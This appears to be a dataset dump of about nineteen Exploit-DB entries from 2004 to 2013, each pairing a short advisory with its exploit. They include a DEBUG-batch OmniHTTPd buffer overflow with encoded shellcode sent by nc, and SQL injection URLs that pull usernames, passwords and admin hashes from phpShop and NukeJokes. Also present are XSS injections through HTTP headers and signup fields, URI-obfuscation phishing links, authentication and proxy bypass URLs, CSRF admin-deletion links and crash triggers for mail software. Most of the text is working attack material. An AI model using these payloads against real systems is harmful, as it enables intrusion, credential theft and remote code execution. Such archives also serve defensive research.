QLWD/code_shield huggingface dataset:
标题: Omnicron OmniHTTPd 2.x/3.0 - GET Buffer Overflow EDB-ID: 24129 CVE: 2004-2299 类型: REMOTE 平台: WINDOWS 发布日期: 2004-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/10376/info

Reportedly OmniHTTPD is affected by a GET request buffer overflow vulnerability. This issue is due to a failure of the application to properly validate string sizes when processing user input.

This issue could allow an attacker to execute arbitrary code with the privileges of the affected web server.

@echo off
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:Application:   OmniHTTPd
:Vendors:       http://www.omnicron.ca
:Version:       <=V3.0a
:Platforms:     Windows
:Bug:           Overflow
:Date:          2004-04-23
:Author:        CoolICE
:E-mail:        CoolICE#China.com
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;if '%1'=='' echo Usage:%0 target&&goto :eof
;for %%n in (nc.exe) do if not exist %%~$PATH:n if not exist nc.exe echo Need
nc.exe&&goto :eof
;DEBUG < %~s0
;GOTO :run

e 100 "GET / HTTP/1.0" 0D 0A "Range: "
!Overflow@length>0xE0
f 117 206 41
!JMPESP@w2k
e 207 12 45 FA 7F
!Shellcode
e 20B EB 1B 5B BE 43 6F 6F 6C BF 49 43 45 21 43 39 3B
e 21B 75 FB 4B 80 33 88 39 73 FC 75 F7 EB 09 E8 E0 FF
e 22B FF FF 43 6F 6f 6C 61 31 88 88 88 D6 60 CE 88 88
e 23B 88 01 8E 03 50 DB E0 F6 50 6A FB 60 C4 88 88 88
e 24B 01 CE 80 DB E0 06 C6 86 64 60 B6 88 88 88 01 CE
e 25B 8C E0 BB BA 88 88 E0 DD DB CD DA DC 77 58 01 CE
e 26B 84 03 50 DB E0 07 6E AC DF 60 96 88 88 88 01 CE
e 27B 98 77 DE 98 77 DE 80 DE EC 29 B8 88 88 88 03 C8
e 28B 84 03 F8 94 25 03 C8 80 D6 4A 8C 88 DB DD DE DF
e 29B 03 E4 AC 90 03 CD B4 03 DC 8D F0 8B 5D 03 C2 90
e 2AB 03 D2 A8 8B 55 6B BA C1 03 BC 03 8B 7D BB 77 74
e 2BB BB 48 24 B2 4C FC 8F 49 47 85 8B 70 63 7A B3 F4
e 2CB AC 9C FD 69 03 D2 AC 8B 55 EE 03 84 C3 03 D2 94
e 2DB 8B 55 03 8C 03 8B 4D 63 8A BB 48 03 5D D7 D6 D5
e 2EB D3 4A 80 88 60 CA 77 77 77 49 43 45 21 0D 0A 0D
E 2FB 0A 00
rcx
1FC
nhttp.tmp
w
q


:run
nc %1 80 < http.tmp
del http.tmp URL: https://www.exploit-db.com/exploits/24129
标题: Microsoft Internet Explorer 5.0.1 - http-equiv Meta Tag Denial of Service EDB-ID: 24119 CVE: 2004-0479 类型: DOS 平台: WINDOWS 发布日期: 2004-05-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/10351/info

It has been reported that Internet Explorer is prone to a denial of service vulnerability when processing a malicious script containing the 'window.createPopup()' method to invoke the 'http-equiv' meta tag.

This issue could be exploited by a remote attacker to cause a denial of service condition in the browser.

<script type="text/javascript">
Wnd = window.createPopup();
Wnd.document.body.innerHTML='<meta http-equiv="imagetoolbar" content="no">';
</script> URL: https://www.exploit-db.com/exploits/24119
标题: Microsoft Outlook 2003 - Mail Client E-mail Address Verification EDB-ID: 24114 CVE: 2004-0501 类型: REMOTE 平台: WINDOWS 发布日期: 2004-05-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/10323/info

It has been reported that Microsoft Outlook mail client may be prone to a weakness that could allow a remote attacker to verify the validity of a recipient's e-mail address. This issue may result in a victim receiving more junk e-mail.

Microsoft Outlook 2003 is reported to be affected by this issue.

<v:vml frame style="LEFT: 50px; WIDTH: 300px; POSITION:
relative; TOP: 30px; HEIGHT: 200px"
src = "http://www.example.com/duh.txt#malware"></v:vmlframe>

<HTML>
<HEAD>
<STYLE>
v\:* { behavior: url(#default#VML); }
</STYLE>
<XML:NAMESPACE NS="urn:schemas-microsoft-com:vml" PREFIX="v"/>
</HEAD> URL: https://www.exploit-db.com/exploits/24114
标题: TurboTrafficTrader C 1.0 - Multiple Cross-Site Scripting / HTML Injection Vulnerabilities EDB-ID: 24122 CVE: 2004-2017 类型: WEBAPPS 平台: CGI 发布日期: 2004-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/10359/info

It has been reported that TurboTrafficTrader C does not properly sanitize input received from users. It has been conjectured that this may allow a remote user to launch cross-site scripting and HTML injection attacks.

The cross-site scripting issues could permit a remote attacker to create a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user.

The HTML injection issues could allow an attacker to post malicious HTML and script code that would then later be rendered in the web browser of further visitors to the affected site.

These attacks would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials. Other attacks are also possible.

http://www.example.com/cgi-bin/ttt-out?link=testing%20%3Cscript%3Ealert('from_browser_insert');%3C/script%3E
http://www.example.com/cgi-bin/ttt-out?link=testing%20<script>alert('from_browser_insert');</script>

export REMOTE_ADDR="127.0.0.1<script>alert('ip_inject');</script>"
./ttt-in will load one bad record for IP
export HTTP_X_FORWARDED_FOR="10.0.0.1<script>alert('proxy insertion');</script>" 
./ttt-in will load an XXSed proxy record

Raw connection example:
telnet www.example.com 80
Trying www.example.com...
Connected to www.example.com.
Escape character is '^]'.
GET /cgi-bin/ttt-in HTTP/1.1
X-Forwarded-For: 192.168.0.1<script>alert('proxy_insert');</script>
Host: www.example.com

telnet www.example.com 80
Trying www.example.com...
Connected to www.example.com.
Escape character is '^]'.
GET /cgi-bin/ttt-in HTTP/1.1
X-Forwarded-For: 192.168.0.6<script>alert('proxy_insert');</script>
Referer: http://www.referrer.com"<script>alert('referrer_inject');</script>"
Host: www.example.com

When signing up for a new account:
Site name = Name"<script>window.open('http://www.example.com');</script>
Site URL = http://www.example.com"<script>alert('name_inject');</script>
Webmaster e-mail = email@example.com"<script>alert('email_inject');</script>
Webmaster ICQ = 123456"<script>alert('ICQ_inject');</script> URL: https://www.exploit-db.com/exploits/24122
标题: Apple Mac OSX 10.3.x - Help Protocol Remote Code Execution EDB-ID: 24121 CVE: 2004-0486 类型: REMOTE 平台: OSX 发布日期: 2004-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/10356/info

It has been reported that Mac OS X may be prone to a vulnerability that could allow a remote attacker to execute arbitrary script code on a vulnerable system. 

The issue presents itself due to the 'help:' protocol implemented by the Mac OS X help application. It has been reported that the 'help:' protocol can be invoked remotely by the Safari web browser. This could allow an attacker to craft a malicious link and entice a user to follow the link in order to execute script code via the help application. It has been reported that this issue can be exploited to execute arbitrary code with minimal user interaction. Reportedly, an attacker can exploit this issue by simply enticing a user to visit a malicious site.

An attacker can also use HTML email as an attack vector to exploit this vulnerability. For example, an attacker can embed HTML into Apple Mail and send it as a link to a vulnerable user. If the user follows the link, script code will be executed.

Successful exploitation of this issue may allow a remote attacker to gain unauthorized access to a vulnerable system in the context of an affected user.

Mac OS X 10.3 is reported to be prone to this issue, however, it is possible that prior versions are affected as well. Other web browsers that support the 'help:' protocol may also present an attack vector for this issue.

help:runscript=../../Scripts/Info Scripts/Current Date & Time.scpt

The following proof of concept is available as well:
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
? ? <meta content="text/html;charset=ISO-8859-1"
http-equiv="Content-Type">
? ? <title></title>
</head>
<body bgcolor="#ffffff" text="#000000">
<a
? href="help:runscript=MacHelp.help/Contents/Resourc
es/English.lproj/shrd/OpnApp.scpt%20string=%27usr: bin:du%27">Click to
go to your next message</a><br>
</body>
</html> URL: https://www.exploit-db.com/exploits/24121
标题: phpShop 2.0 - SQL Injection EDB-ID: 24108 CVE: 2009-4571 2008-0681 类型: WEBAPPS 平台: PHP 发布日期: 2013-01-14 漏洞利用脚本: # Exploit Title : phpshop 2.0 SQL Injection Vulnerability
# Author        : By onestree
# Software Link : http://code.google.com/p/phpshop/downloads/list
# tested        : windows 7 / ubuntu
# Dork          : inurl:"tanyakan pada rumput yang bergoyang"

SQLi p0c:
 
==================

http://localhost/phpshop 2.0/?page=admin/function_list&module_id=11'
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 -- 

http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--




Thanks : 

  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
     
          indonesiancoder - moeslimh4x0r - go-coder URL: https://www.exploit-db.com/exploits/24108
标题: Microsoft Internet Explorer 4/5/6 - Embedded Image URI Obfuscation EDB-ID: 24102 CVE: 2004-0526 类型: REMOTE 平台: WINDOWS 发布日期: 2004-05-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/10308/info

It has been reported that Microsoft Internet Explorer is prone to a URI obfuscation weakness that may hide the true contents of a URI link. The issue occurs when an image is contained within a properly formatted HREF tag.

This weakness could be employed to trick a user into following a malicious link.

An attacker could exploit this issue by supplying a malicious image that appears to be a URI link pointing to a page designed to mimic that of a trusted site. If an unsuspecting victim were to mouseover the link in an attempt to verify the authenticity of where it references, they may be deceived into believing that the link references the actual trusted site.

<A HREF=http://www.example.com alt="http://www.example.com">
<IMG SRC="malware.gif" USEMAP="#malware" border=0
alt="http://www.example.com"></A>
<map NAME="malware" alt="http://www.example.com">
<area SHAPE=RECT COORDS="224,21" HREF="http://www.malware.com"
alt="http://www.example.com">
</MAP> URL: https://www.exploit-db.com/exploits/24102
标题: National Science Foundation Squid Proxy 2.3 - Internet Access Control Bypass EDB-ID: 24105 CVE: 2004-2480 类型: REMOTE 平台: LINUX 发布日期: 2004-05-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/10315/info

Squid proxy has been reported to be affected by an Internet access control bypass vulnerability. This issue is caused by a failure of the application to properly handle access controls when evaluating malformed URI requests.

This issue is reported to affect version 2.3.STABLE5 of the software, it is likely however that other versions are also affected.

This issue would allow users that are restricted from accessing Internet-based resources to access arbitrary web sites.

http://@@website_allowed.pt@restricted_internet_resource.html URL: https://www.exploit-db.com/exploits/24105
标题: Adam Webb NukeJokes 1.7/2.0 Module - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 24099 CVE: 2004-2007 类型: WEBAPPS 平台: PHP 发布日期: 2004-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/10306/info

It has been reported that the NukeJokes module is affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied user input.

Multiple SQL injection issues exists due to a failure of the application to do any sanitization on user input prior to using the offending input in an SQL query.

These SQL issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data.

Multiple cross-site scripting vulnerabilities have been reported to exist due to a failure of the application to properly sanitize user-supplier input before its inclusion in dynamic web content. 

These cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user.

http://www.example.com/nuke72/modules.php?name=NukeJokes&func=CatView&cat=[xss code here]
http://www.example.com/nuke72/modules.php?name=NukeJokes&func=JokeView&jokeid=[xss code here] URL: https://www.exploit-db.com/exploits/24099
标题: SurgeLDAP 1.0 - Web Administration Authentication Bypass EDB-ID: 24094 CVE: 2004-2254 类型: WEBAPPS 平台: CGI 发布日期: 2004-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/10294/info

SurgeLDAP is an LDAP server implementation for Microsoft Windows and various Unix operating systems. It includes a built-in web server to permit remote user access via HTTP. 

It has been reported that the SurgeLDAP web administration application is prone to an authentication bypass vulnerability, possibly allowing remote attackers manager access.

Once administration access is granted, it may be possible for an attacker to modify records in the LDAP database, destroy data, crash the server, or possibly further attacks on other services utilizing SurgeLDAP for it's authentication data.

http://www.example.com/admin.cgi?cmd=show&page=main.tpl&utoken=manager URL: https://www.exploit-db.com/exploits/24094
标题: Qualcomm Eudora 6.x - Embedded Hyperlink URI Obfuscation EDB-ID: 24098 CVE: 2004-2649 类型: REMOTE 平台: WINDOWS 发布日期: 2004-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/10305/info

It has been reported that the Qualcomm Eudora MTA is prone to a URI obfuscation weakness that may hide the true contents of a link. The problem occurs when a user@location URI is formatted in such a way that a "^A" control character is located after the user value. The user value may then be appended with space characters to obfuscate status bar and mouseover details. It is said that, when doing a mouseover of such a URI, it will cause the status bar to only display the contents of the user value, not the entire link.

<a href="http://www.e-gold.com^A
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
@example.com/"><span lang=EN-US
style='mso-ansi-language:EN-US'>http://www.e-gold.com/alert</span></a><br>

Where example.com, reads egegold.com. URL: https://www.exploit-db.com/exploits/24098
标题: MailEnable Mail Server HTTPMail 1.x - Remote Heap Overflow EDB-ID: 24103 CVE: 2004-2727 类型: DOS 平台: WINDOWS 发布日期: 2004-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/10312/info

MailEnable is a commercially available POP3 and SMTP server for the Windows platform.

The 'Professional' and 'Enterprise' editions of MailEnable are reported to be prone to a remote heap buffer overflow. The overflow allows the attacker to control the EAX and ECX registers, allowing arbitrary code execution as SYSTEM.

All versions up to and including 1.18 are reported to be affected.

If logging is enabled, the request could contain:

GET /{4032 x A} HTTP/1.1

or, without logging:

GET /{8501 x A} HTTP/1.1 URL: https://www.exploit-db.com/exploits/24103
标题: PHPX 3.x - '/forums.php' Cross-Site Request Forgery / Arbitrary Command Execution EDB-ID: 24092 CVE: 2004-2364 类型: WEBAPPS 平台: PHP 发布日期: 2004-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/10284/info
  
It has been reported that PHPX is affected by multiple administrator command execution vulnerabilities. These issues are due to a failure of the application to properly validate access to administrative commands.
  
This issue could permit a remote attacker to create a malicious URI link or embed a malicious URI between bbCode image tags, which includes hostile HTML and script code. If an unsuspecting forum administrator activated this URI, the attacker-supplied command would be carried out with the administrator's privileges. This would occur in the security context of the affected web site and would cause various administrator actions to be taken.

http://www.example.com/admin/forums.php?action=words&subaction=delete&word_id=[VID]
http://www.example.com/admin/forums.php?action=flag&subaction=delete&flag_id=[VID]
http://www.example.com/admin/forums.php?action=xcode&subaction=delete&xcode_id=[VID] URL: https://www.exploit-db.com/exploits/24092
标题: Microsoft Outlook 2003 - Predictable File Location EDB-ID: 24101 CVE: 2004-0502 类型: REMOTE 平台: WINDOWS 发布日期: 2004-05-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/10307/info

Microsoft Outlook 2003 is reported to be prone to store files that are specified in img tags, in predictable locations. 

This may present a security risk because many known (and potential) Internet Explorer vulnerabilities depend on the attacker being able to directly reference malicious content on a victim system. Given both the ability to place such content on the file system and reference it specifically by location, exploitation of many browser-based vulnerabilities becomes possible.

<img src="malware.htm" style="display:none"> URL: https://www.exploit-db.com/exploits/24101
标题: Qualcomm Eudora 5.2.1/6.x - Embedded Hyperlink Buffer Overrun EDB-ID: 24096 CVE: 2004-2005 类型: DOS 平台: LINUX 发布日期: 2004-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/10298/info

Qualcomm Eudora is reported to be prone to a remotely exploitable buffer overrun vulnerability. 

The issue is exposed when an excessively long hyperlink to a file resource is embedded in an HTML e-mail. This may permit remote attackers to execute arbitrary code via malicious e-mail in the context of the client user.

This issue was reported in Eudora on Windows platforms. Eudora for Apple Mac operating systems may be similarly affected, though this has not been confirmed.

#!/usr/bin/perl --
print "From: me\n";
print "To: you\n";
print "Subject: Eudora file URL buffer overflow demo\n";
print "X-Use: Pipe the output of this script into:  sendmail -i victim\n\n";
print "The following is a \"proper\" HTML URL, pointing to somewhere long:\n";
print "<x-html>\n";
print "<a href=\"C:\\", "A"x300, "\">\n";
print "Fake URL to http://anywhere/I/want</a>\n";
print "</x-html>\n";
print "Clicking above will crash Eudora.\n\n";
print "The following plain-text converted by Eudora into a clickable URL\n";
print "http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx\n";
print "is for comparison: the user can hardly tell them apart.\n\n"; URL: https://www.exploit-db.com/exploits/24096
标题: DeleGate 7.8.x/8.x - SSLway Filter Remote Stack Buffer Overflow (PoC) EDB-ID: 24095 CVE: 2004-2003 类型: DOS 平台: LINUX 发布日期: 2004-05-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/10295/info

A remote buffer overflow vulnerability has been reported to affect the DeleGate SSLway filter. This filter is employed when DeleGate is applying SSL to arbitrary protocols.

The issue presents itself due to a lack of sufficient boundary checks performed, when copying user-supplied certificate field contents.

A remote attacker may potentially exploit this issue, to overwrite the return address of the static ssl_prcert() function. The attacker may corrupt any other saved value that is within 768 bytes from the end of the affected buffers.

It has been reported that the X509_NAME_oneline() function will perform character conversion on characters below '0x20' or above '0x7e'; this may hinder exploitation of this issue.

[je@vudo ~]$ cat>openssl.cnf<<EOF
> [ req ]
> distinguished_name = req_dn
> prompt = no
> [ req_dn ]
> CN=bof
> 0.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> 1.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> 2.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> 3.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EOF
[je@vudo ~]$ openssl req -x509 -new -nodes -out bof.pem -keyout bof.pem -config openssl.cnf
Generating a 512 bit RSA private key
.........++++++++++++
..........++++++++++++
writing new private key to 'bof.pem' URL: https://www.exploit-db.com/exploits/24095
标题: Adam Webb NukeJokes 1.7/2.0 Module - 'modules.php?jokeid' SQL Injection EDB-ID: 24100 CVE: 2004-2008 类型: WEBAPPS 平台: PHP 发布日期: 2004-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/10306/info
 
It has been reported that the NukeJokes module is affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied user input.
 
Multiple SQL injection issues exists due to a failure of the application to do any sanitization on user input prior to using the offending input in an SQL query.
 
These SQL issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data.
 
Multiple cross-site scripting vulnerabilities have been reported to exist due to a failure of the application to properly sanitize user-supplier input before its inclusion in dynamic web content.
 
These cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user.

http://www.example.com/nuke72/modules.php?name=NukeJokes&file=print&jokeid=-1/**/UNION/**/SELECT/**/aid,pwd/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1/**/LIMIT/**/1/* URL: https://www.exploit-db.com/exploits/24100
标题: PHPX 3.x - '/images.php' Cross-Site Request Forgery / Arbitrary Command Execution EDB-ID: 24091 CVE: 2004-2364 类型: WEBAPPS 平台: PHP 发布日期: 2004-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/10284/info
  
It has been reported that PHPX is affected by multiple administrator command execution vulnerabilities. These issues are due to a failure of the application to properly validate access to administrative commands.
  
This issue could permit a remote attacker to create a malicious URI link or embed a malicious URI between bbCode image tags, which includes hostile HTML and script code. If an unsuspecting forum administrator activated this URI, the attacker-supplied command would be carried out with the administrator's privileges. This would occur in the security context of the affected web site and would cause various administrator actions to be taken.

http://www.example.com/admin/images.php?action=delete&image_id=[VID] URL: https://www.exploit-db.com/exploits/24091